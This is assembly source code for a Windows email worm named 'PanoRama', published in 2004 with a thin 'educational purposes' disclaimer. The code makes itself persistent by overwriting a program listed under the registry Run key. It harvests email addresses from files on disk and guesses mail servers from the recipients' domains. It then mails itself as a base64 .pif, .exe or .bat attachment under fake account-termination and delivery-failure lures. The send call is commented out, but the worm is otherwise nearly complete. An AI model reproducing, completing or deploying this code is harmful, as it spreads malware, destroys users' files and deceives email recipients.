; --------------------------------------------------
;
; PanoRama by BlueOwl
; Date: february 2004
; Type: SMPT Virus
;
; Disclaimer:
;
; This source was made for eductional purposes, what-
; ever happens as a result of you assembling it is
; your own fault. With the author remain all rights.
; I did not fully test the worm, and it will probably
; not be able to spread in the wild.
;
; Info:
;
; There are a lot of smpt worms out there, and this one
; is nothing new. I made it because email worms always
; intrigued me, and wanted to make my own. Too bad the
; magic is gone. :) I removed some small codes and replaced,
; since i don't want it to be spread.
;
; Details:
;
; + Includes mailaddress checksumming to avoid sending
; mails more then once, capitals are ignored
; + The mail layout will only be changed after every
; delivery so no time gets waist
; + Gets servers by appending "smpt.", "mail." etc. to
; the email domain name
; + Makes sure it autostarts by overwriting a program
; file referenced by autostart in the registry
; You could assemble with FASM (http://www.flatassembler.net)
; Start of virus
format PE GUI 4.0
include '%fasminc%\win32a.inc'
; Get current program location
; ----------------------------
lea esi, [name_buffer_handle]
mov ecx, 260
call alloc_mem
invoke GetModuleFileName,0,[name_buffer],260
; Allocate buffers
; ----------------
lea esi, [emails_mem_handle]
mov ecx, 20000
call alloc_mem
lea esi, [smptserver_mem_handle]
mov ecx, 260
call alloc_mem
lea esi, [wsadata_mem_handle]
mov ecx, 398
call alloc_mem
lea esi, [receivebuf_mem_handle]
mov ecx, 100
call alloc_mem
lea esi, [helo_mem_handle]
call alloc_mem
lea esi, [mailfrom_mem_handle]
call alloc_mem
lea esi, [mailto_mem_handle]
call alloc_mem
lea esi, [keyname_mem_handle]
mov ecx, 256
call alloc_mem
lea esi, [keyvalue_mem_handle]
call alloc_mem
lea esi, [mailbuffer_mem_handle]
mov ecx, 10000d
call alloc_mem
; Get program data
; ----------------
mov eax, [name_buffer]
call create_file
mov ebp, eax
call get_file_size
mov [virus_size], eax
mov ecx, eax
lea esi, [self_mem_handle]
call alloc_mem
invoke ReadFile,ebp,eax,ecx,NBR,0
invoke CloseHandle,ebp
; Install the virus
; to the system
; -----------------
invoke RegOpenKey,HKEY_LOCAL_MACHINE,reg_install,key_handle
or eax, eax
jnz reg_error
sub edi, edi
check_install: invoke RegEnumValue,[key_handle],edi,[keyname_mem],\
standard_size,0,0,[keyvalue_mem],standard2_size
or eax, eax
jnz virus_not_found
mov eax, 256d
push eax
pop [standard_size]
push eax
pop [standard2_size]
mov eax, [keyvalue_mem]
call create_file
mov ebp, eax
call get_file_size
mov ebx, eax
invoke CloseHandle,ebp
cmp ebx, eax
je reg_error ; virus already installed
inc edi
jmp check_install
; Overwrite the file of an
; existing registered program
; ---------------------------
virus_not_found:sub edi, edi
install_copy: push edi
invoke RegEnumValue,[key_handle],edi,[keyname_mem],\
standard_size,0,0,[keyvalue_mem],standard2_size
pop edi
or eax, eax
jnz reg_error ; abort
mov eax, 256d
push eax
pop [standard_size]
push eax
pop [standard2_size]
invoke CopyFile,[name_buffer],[keyvalue_mem],0
or eax, eax
jnz reg_error ; succeeded
inc edi
jmp install_copy
; Fill some buffers
; -----------------
reg_error: mov edi, [helo_mem]
mov eax, "HELO"
stosd
mov al, " "
stosb
mov edi, [mailfrom_mem]
mov eax, "MAIL"
stosd
mov eax, " FRO"
stosd
mov eax, "M: <"
mov edi, [mailto_mem]
mov eax, "RCPT"
stosd
mov eax, " TO:"
mov ax, " <"
stosw
; Initiate random function
; ------------------------
invoke GetTickCount
mov [random_seed], eax
rol eax, 7
not eax
; Make a base64 copy of the virus
; -------------------------------
mov eax, [virus_size]
mov ecx, eax
shl ecx, 2
lea esi, [base64_mem_handle]
call alloc_mem
mov ecx, [self_mem]
mov edx, [base64_mem]
mov eax, [virus_size]
push ecx
push edx
round3
pop edx
pop ecx
xchg eax, ecx
call encode_base64
mov [virus_size], ecx
mov esi, [self_mem_handle]
call dealloc_mem
; Start up winsock
; ----------------
push [wsadata_mem]
push 0101h
invoke WSAStartup
; Set a special folder as current
; directory
; -------------------------------
set_special: and byte [name_buffer], 0
invoke SHGetSpecialFolderPathA,0,[name_buffer],[special_folder],0
inc [special_folder]
cmp [special_folder], 200
jne special_ok
jmp close_winsock
special_ok: cmp byte [name_buffer], 0
je set_special
invoke SetCurrentDirectory,[name_buffer]
; Find the first file in directory
; --------------------------------
invoke FindFirstFile,all_mask,findstruc
mov [fsearch_handle], eax
inc eax
jz quit_fsearch
; Compare the file for known
; "wrong" extensions
; --------------------------
main_fsearch: mov ebp, findstruc.cFileName
cmp byte [ebp], "." ; directory
je file_wrong_type
mov ecx, [findstruc.nFileSizeLow]
cmp ecx, 200000
ja file_wrong_type
mov eax, ebp
get_fext: inc eax
cmp byte [eax+4],0
jne get_fext
mov eax, [eax]
or eax, 20202020h
cmp eax, ".gif"
je file_wrong_type
cmp eax, ".jpg"
je file_wrong_type
cmp eax, ".png"
je file_wrong_type
cmp eax, ".bmp"
je file_wrong_type
cmp eax, ".dll"
je file_wrong_type
cmp eax, ".exe"
je file_wrong_type
cmp eax, ".scr"
je file_wrong_type
mov eax, ebp
; Get the file contents
; ---------------------
push ecx
call create_file
mov edi, eax
lea esi, [fmem_handle]
call alloc_mem
invoke ReadFile,edi,eax,ecx,NBR,0
invoke CloseHandle,edi
pop ecx
mov esi, [fmem]
mov edx, esi
add edx, ecx
; Search for the atsign
; ---------------------
search_at: lodsb
cmp al, "@"
je found_at
cmp esi, edx
jnae search_at
jmp fclose_mem
; Found the atsign
; ----------------
found_at: mov edi, esi
dec esi
; Find the beginning of
; the address
; ---------------------
find_begin: dec esi
mov al, byte [esi]
cmp al, 5Fh
je find_begin
cmp al, 2Eh
je find_begin
cmp al, 30h
jb begin_found
cmp al, 03Ah
jb find_begin
cmp al, 41h
jb begin_found
cmp al, 05Bh
jb find_begin
cmp al, 61h
jb begin_found
cmp al, 07Bh
jb find_begin
begin_found: inc esi
mov [adress_start], esi
xchg edi, esi
; Get the end of the adress
; -------------------------
find_end: lodsb
cmp esi, edx
jae end_found ; found EOF
cmp al, 5Fh
je find_end
cmp al, 2Eh
je find_end
cmp al, 30h
jb end_found
cmp al, 03Ah
jb find_end
cmp al, 41h
jb end_found
cmp al, 05Bh
jb find_end
cmp al, 61h
jb end_found
cmp al, 07Bh
jb find_end
end_found: dec esi
and byte [esi], 0
mov ebx, esi
sub esi, edi
mov [adress_size], esi
cmp esi, 36
ja fclose_mem ; block ridicilous size
cmp esi, 11
jb fclose_mem ; too small
push ebx
push edx
;call send_email ; go to the emailproc
invoke MessageBox,0,0,0,0
pop edx
pop ebx
mov esi, ebx
jmp search_at
fclose_mem: mov esi, [fmem_handle]
call dealloc_mem
file_wrong_type:invoke FindNextFile,[fsearch_handle],findstruc
or eax, eax
jnz main_fsearch
invoke FindClose,[fsearch_handle]
quit_fsearch:
; Jump back to folder finding
; ---------------------------
jmp set_special
; Close Winsock
; -------------
close_winsock: invoke WSACleanup
; Close all buffers
; -----------------
close_buffers: mov ecx, ((eod-sod)/8)
lea esi, [sod]
close_loop: lodsd
push esi
push ecx
mov esi, eax
call dealloc_mem
pop ecx
pop esi
add esi, 4
dec ecx
jne close_loop
; Exit
; ----
exit_process: invoke ExitProcess,0
; Send an email proc
; ------------------
send_email:
; Validate the adress
; -------------------
mov cx, 0201h
mov esi, [adress_start]
push esi
val_loop: lodsb
cmp al, "."
je add_dot
cmp al, "@"
jne val_loop
val2_loop: lodsb
cmp al, "."
je add_dot2
or al, al
jnz val2_loop
cmp ch, 1
ja invalidate
jmp final_check
add_dot: dec cl
jz invalidate
jmp val_loop
add_dot2: dec ch
jz invalidate
jmp val2_loop
final_check: cmp byte [esi-5], "."
je checksum_adress
cmp byte [esi-4], "."
je checksum_adress
invalidate: pop esi
ret
; Checksum the adress
; -------------------
checksum_adress:pop esi
sub ax, ax
sub dx, dx
sum_first: lodsb
or al, 20h ; ignore capitals
add dx, ax
rol dx, 1
cmp byte [esi], "@"
jne sum_first
rol dx, 5
xchg dl, dh
sum_second: lodsb
or al, 20h
add dx, ax
ror dx, 1
cmp al, 20h
jne sum_second
; Check the database for it
; -------------------------
mov esi, [emails_mem]
mov ebx, [emails_count]
inc ebx
search_dbase: dec ebx
or ebx, ebx
jz endsearch_dbase
lodsw
cmp ax, dx
jne search_dbase
ret
; Check number of emailadresses
; -----------------------------
endsearch_dbase:cmp [emails_count], 10000d ; 10000 sent??
jne save_checksum
sub eax, eax
mov [emails_count], eax ; reset counter
; Save the checksum
; -----------------
save_checksum: mov edi, esi
mov ax, dx
stosw
inc [emails_count]
; Get the email domain name
; -------------------------
mov esi, [adress_start]
cmp_domat: lodsb
cmp al, "@"
jne cmp_domat
mov ebx, esi
mov [address_domain], ebx
; Get a valid smpt server
; -----------------------
mov ecx, 9 ; number of mail domains
lea esi, [mail_domains]
mov edi, [smptserver_mem]
get_smpt: push edi
set_smpt_loop: lodsb
stosb
or al, al
jnz set_smpt_loop
dec edi
mov al, "."
stosb
push esi
mov esi, ebx
set_domain: lodsb
stosb
or al, al
jnz set_domain
pop esi
pop edi
invoke gethostbyname, edi
or eax, eax
jnz smpt_found
dec ecx
or ecx, ecx
jnz get_smpt
mov eax, [previous_host]
; Create a socket
; ---------------
smpt_found: mov [previous_host], eax
mov ebp, eax
lea edi, [socket_handle]
invoke socket,AF_INET,SOCK_STREAM,0
mov [edi], eax
inc eax
jz error_connect
; Fill in some data
; -----------------
mov [sock_address.sin_family], AF_INET
invoke htons,25
mov [sock_address.sin_port], ax
mov eax, [ebp+12]
mov eax, [eax]
mov eax, [eax]
mov [sock_address.sin_addr], eax
; Connect to the server
; ---------------------
invoke connect,dword [edi],sock_address,16
or eax, eax
jz close_socket
call get_code
cmp eax, "220 "
jne close_socket
; Set connection timeout
; ----------------------
invoke setsockopt, [edi],0FFFFh,1006h,sock_timeout,4
invoke setsockopt, [edi],0FFFFh,1005h,sock_timeout,4
; Send "HELO (Server)"
; --------------------
mov edi, [helo_mem]
push edi
add edi, 5
mov esi, [smptserver_mem]
czero
dec edi
mov ax, 0a0dh
stosw
pop esi
sub edi, esi
invoke send, [socket_handle],esi,edi,0
call get_code
cmp eax, "250 "
jne close_socket
; Send "MAIL FROM: <Address>"
; ---------------------------
mov edi, [mailfrom_mem]
push edi
add edi, 12 ; "MAIL... <"
mov esi, [email_sender]
call trans_copy
dec edi
mov al, ">"
stosb
mov ax, 0a0dh
stosw
pop esi
sub edi, esi
invoke send, [socket_handle],esi,edi,0
call get_code
cmp eax, "250 "
jne close_socket
; Send "RCPT TO: <Address>"
; -------------------------
mov edi, [mailto_mem]
push edi
add edi, 10
mov esi, [adress_start]
czero
dec edi
mov al, ">"
stosb
mov ax, 0a0dh
stosw
pop esi
sub edi, esi
invoke send, [socket_handle],esi,edi,0
call get_code
cmp eax, "250 "
jne close_socket
; Send "DATA"
; -----------
invoke send, [socket_handle],str_data,6,0
call get_code
cmp eax, "354 "
jne close_socket
; Send the mail body
; ------------------
mov edi, [mailbuffer_mem]
push edi
lea esi, [mime_from]
czero
dec edi
mov esi, [email_sender]
call trans_copy
lea esi, [subject]
czero
dec edi
mov esi, [email_title]
czero
dec edi
lea esi, [mailheader]
call trans_copy
mov esi, [email_body]
call trans_copy
lea esi, [betweenheader]
call trans_copy
lea esi, [email_attachment]
call trans_copy
lea esi, [attachname1]
czero
dec edi
lea esi, [email_attachment]
call trans_copy
lea esi, [attachname2]
czero
dec edi
pop esi
sub edi, esi
invoke send, [socket_handle],esi,edi,0
; Send the base64 attachment
; --------------------------
invoke send, [socket_handle],[base64_mem],[virus_size],0
; Send the footer
; ---------------
mov edi, [mailbuffer_mem]
push edi
lea esi, [footer]
call trans_copy
pop esi
sub edi, esi
invoke send, [socket_handle],esi,edi,0
; Send "."
; --------
invoke send, [socket_handle],str_dot,3,0
call get_code
cmp eax, "250 "
jne close_socket
; Send "QUIT"
; -----------
invoke send, [socket_handle],str_quit,6,0
; Randomize the layout
; for the next mail
; --------------------
mov eax, 1
call rand_index
shl eax, 2
mov edx, [emails+eax]
mov esi, edx
push esi
sub ecx, ecx
get_strs: inc esi
cmp word [esi], 0
je strs_end
cmp byte [esi], 0
jne get_strs
inc ecx
jmp get_strs
strs_end: mov edx, esi
pop esi
mov eax, ecx
call rand_index
mov ecx, eax
get_str: lodsb
or al, al
jnz get_str
dec esi
jne get_str
; ...
; Close the socket
; ----------------
close_socket: invoke closesocket,[socket_handle]
error_connect: ret
; Get the code returned
; by the server
; ---------------------
get_code: push edi
mov edi, [receivebuf_mem]
invoke recv,[socket_handle],edi,100,0
mov eax, [edi]
pop edi
ret
; //////////////////////////////////////////////////////////////////////////////////////
; PROCS
; esi=memory handle and esi+4=memory start, ecx=size
alloc_mem: push ecx
invoke GlobalAlloc,GMEM_MOVEABLE,ecx
mov dword [esi], eax
invoke GlobalLock,eax
mov dword [esi+4], eax
pop ecx
ret
dealloc_mem: ; esi=[memory handle]
invoke GlobalUnlock,esi
invoke GlobalFree,esi
ret
create_file: push ecx
invoke CreateFile,eax,GENERIC_READ,0,0,OPEN_ALWAYS,\
FILE_ATTRIBUTE_NORMAL,0
pop ecx
ret
get_file_size: invoke GetFileSize,eax,0
ret
; Encode Base64
; Original by Bumblee
; -------------------
encode_base64: xor esi,esi
call enc_table
db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
db 'wxyz0123456789+/'
enc_table: pop edi
push ebp
xor ebp,ebp
baseLoop: xor ebx,ebx
mov bl,byte [eax]
shr bl,2
and bl,00111111b
mov bh,byte [edi+ebx]
mov byte [edx+esi],bh
inc esi
mov bx,word [eax]
xchg bl,bh
shr bx,4
mov bh,0
and bl,00111111b
mov bh,byte [edi+ebx]
mov byte [edx+esi],bh
inc esi
inc eax
mov bx,word [eax]
xchg bl,bh
shr bx,6
mov bh,0
and bl,00111111b
mov bh,byte [edi+ebx]
mov byte [edx+esi],bh
inc esi
inc eax
xor ebx,ebx
mov bl,byte [eax]
and bl,00111111b
mov bh,byte [edi+ebx]
mov byte [edx+esi],bh
inc esi
inc eax
inc ebp
cmp ebp,24
ja addEndOfLine
inc ebp
addedEndOfLine: sub ecx,3
cmp ecx,0
jne baseLoop
mov ecx,esi
add edx,esi
pop ebp
ret
addEndOfLine: xor ebp,ebp
mov word [edx+esi],0a0dh
add esi,2
jmp addedEndOfLine
; eax = max size
rand_index: push ecx
push edx
inc eax
mov ecx, eax
mov eax, [random_seed]
sub eax, 97863456h
ror al, 2
xor eax, 0A83B009Fh
rol ax, 3
add eax, 67675AAAh
ror eax, 15
rol ah, 3
mov [random_seed], eax
xor edx, edx
div ecx
mov eax, edx
pop edx
pop ecx
ret
; Copy and translate
; ------------------
trans_copy: lodsb
cmp al, "!"
je trans_doublee
cmp al, "$"
je trans_domain
cmp al, "#"
je trans_crlf
cmp al, "~"
je trans_username
cmp al, "*"
je trans_address
cmp al, "|"
je trans_boundary
stosb
or al, al
jnz trans_copy
dec edi
ret
trans_doublee: mov eax, 0a0d0a0dh
stosd
jmp trans_copy
trans_domain: push esi
mov esi, [address_domain]
tr_domain: lodsb
stosb
or al, al
jnz tr_domain
dec edi
pop esi
jmp trans_copy
trans_crlf: mov ax, 0a0dh
stosw
jmp trans_copy
trans_username: push esi
mov esi, [adress_start]
tr_username: lodsb
stosb
cmp al, "@"
jne tr_username
dec edi
pop esi
jmp trans_copy
trans_address: push esi
mov esi, [adress_start]
tr_address: lodsb
stosb
or al, al
jnz tr_address
dec edi
pop esi
jmp trans_copy
trans_boundary: push esi
lea esi, [boundary_string]
tr_boundary: lodsb
stosb
or al, al
jnz tr_boundary
dec edi
pop esi
jmp trans_copy
; ######################################################################################
NBR dd 0
sod:
name_buffer_handle dd 0
name_buffer dd 0
self_mem_handle dd 0
self_mem dd 0
base64_mem_handle dd 0
base64_mem dd 0
emails_mem_handle dd 0
emails_mem dd 0
smptserver_mem_handle dd 0
smptserver_mem dd 0
wsadata_mem_handle dd 0
wsadata_mem dd 0
receivebuf_mem_handle dd 0
receivebuf_mem dd 0
helo_mem_handle dd 0
helo_mem dd 0
mailfrom_mem_handle dd 0
mailfrom_mem dd 0
mailto_mem_handle dd 0
mailto_mem dd 0
keyname_mem_handle dd 0
keyname_mem dd 0
keyvalue_mem_handle dd 0
keyvalue_mem dd 0
fmem_handle dd 0
fmem dd 0
mailbuffer_mem_handle dd 0
mailbuffer_mem dd 0
eod:
emails_count dd 0
adress_start dd 0
adress_size dd 0
socket_handle dd 0
key_handle dd 0
address_domain dd 0
email_title dd account_closing
email_body dd account_closing_body
email_attachment dd account_closing_attach
email_sender dd account_closing_sender
virus_size dd 0
random_seed dd 093A6C21Fh
standard_size dd 256d
standard2_size dd 256d
previous_host dd 0
special_folder dd 0
all_mask db '*.*',0
findstruc FINDDATA
fsearch_handle dd 0
ffile_size equ findstruc.nFileSizeLow
struc sock_address_struct
{
.sin_family dw 0
.sin_port dw 0
.sin_addr dd 0
.sin_zero CHAR 8
}
struct sock_address_struct
sock_address sock_address_struct
sock_timeout dd 5000d
mail_domains db "smpt",0,"mail",0,"mail1",0,"mx",0,"mx1",0,"mxs",0,"relay",0,"ns",0,"gate",0
reg_install db "Software\Microsoft\Windows\CurrentVersion\Run",0
str_data db "DATA",13,10
str_dot db ".",13,10
str_quit db "QUIT",13,10
boundary_string db "ABCDEFGHIJKLMNOPQRSTUVWXYZ",0
mime_from db 'MIME-Version: 1.0',13,10,'From: <',0
subject db '>',13,10,'Subject: ',0
mailheader db 13,10
db 'Content-Type: multipart/mixed; boundary="|"',13,10
db 'X-Priority: 3',13,10
db 'X-MSMail-Priority: Normal',13,10
db 13,10
db 'This is a multipart message in MIME format.', 13, 10, 13, 10
db '--|',13,10
db 'Content-Type: text/plain; charset=us-asciic',13,10
db 'Content-Transfer-Encoding: 7bit',13,10,13,10,0
betweenheader db 13,10,13,10
db '--|', 13, 10
db 'Content-Type: application/octet-stream; name="', 0
attachname1 db '"',13,10
db 'Content-Transfer-Encoding: base64',13,10
db 'Content-Disposition: attachment; filename="', 0
attachname2 db '"',13,10
db 13,10, 0
footer db 13,10,13,10,'--|--',13,10,13,10,0
emails dd account_closing, delivery_failure
account_closing db "Account notification",0,"Account termination",0,"Your account",0,0
account_closing_body db "Dear user,!$ will terminate your account shortly.#"
db "Read the attachment for the detailed overview.",0
db "Your account, *, has been frozen.!Reactivation "
db "instructions are in the included document.",0,0
account_closing_attach db "~.pif",0,"Loader.exe",0,"Info.bat",0,0
account_closing_sender db "auto@$",0,"admin@$",0,"mailout@$",0,0
delivery_failure db "Delivery failure notice",0,"Transmit error",0,"Partial message",0,0
db "$ was not able to fully receive this message.!"
db "It is included as attachment.",0
db ":: Receiving from smpt.obelisk.net..<to *>#"
db ":: Received at port.$ <*>.!"
db "The message was included as attachment",0,0
db "Message.exe",0,"Mail.pif",0,0
db "port@$",0,"receive@$",0,"mail.~@$",0,0
data import
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
shell32,'SHELL32.DLL',\
wsock32,'WSOCK32.DLL',\
advapi32,'ADVAPI32.DLL'
import kernel32,\
ExitProcess,'ExitProcess',\
CreateFile,'CreateFileA',\
GetFileSize,'GetFileSize',\
ReadFile,'ReadFile',\
WriteFile,'WriteFile',\
CloseHandle,'CloseHandle',\
GlobalAlloc,'GlobalAlloc',\
GlobalLock,'GlobalLock',\
GlobalUnlock,'GlobalUnlock',\
GlobalFree,'GlobalFree',\
SetCurrentDirectory,'SetCurrentDirectoryA',\
FindFirstFile,'FindFirstFileA',\
FindNextFile,'FindNextFileA',\
FindClose,'FindClose',\
GetTickCount,'GetTickCount',\
GetModuleFileName,'GetModuleFileNameA',\
GetModuleHandle,'GetModuleHandleA',\
Sleep,'Sleep',\
CopyFile,'CopyFileA'
import user32,\
MessageBox,'MessageBoxA'
import shell32,\
SHGetSpecialFolderPathA,'SHGetSpecialFolderPathA'
import wsock32,\
WSAStartup,'WSAStartup',\
WSACleanup,'WSACleanup',\
socket,'socket',\
closesocket,'closesocket',\
htons,'htons',\
gethostbyname,'gethostbyname',\
connect,'connect',\
recv,'recv',\
send,'send',\
setsockopt,'setsockopt'
import advapi32,\
RegOpenKey,'RegOpenKeyA',\
RegEnumValue,'RegEnumValueA'
end data
; End Of Virus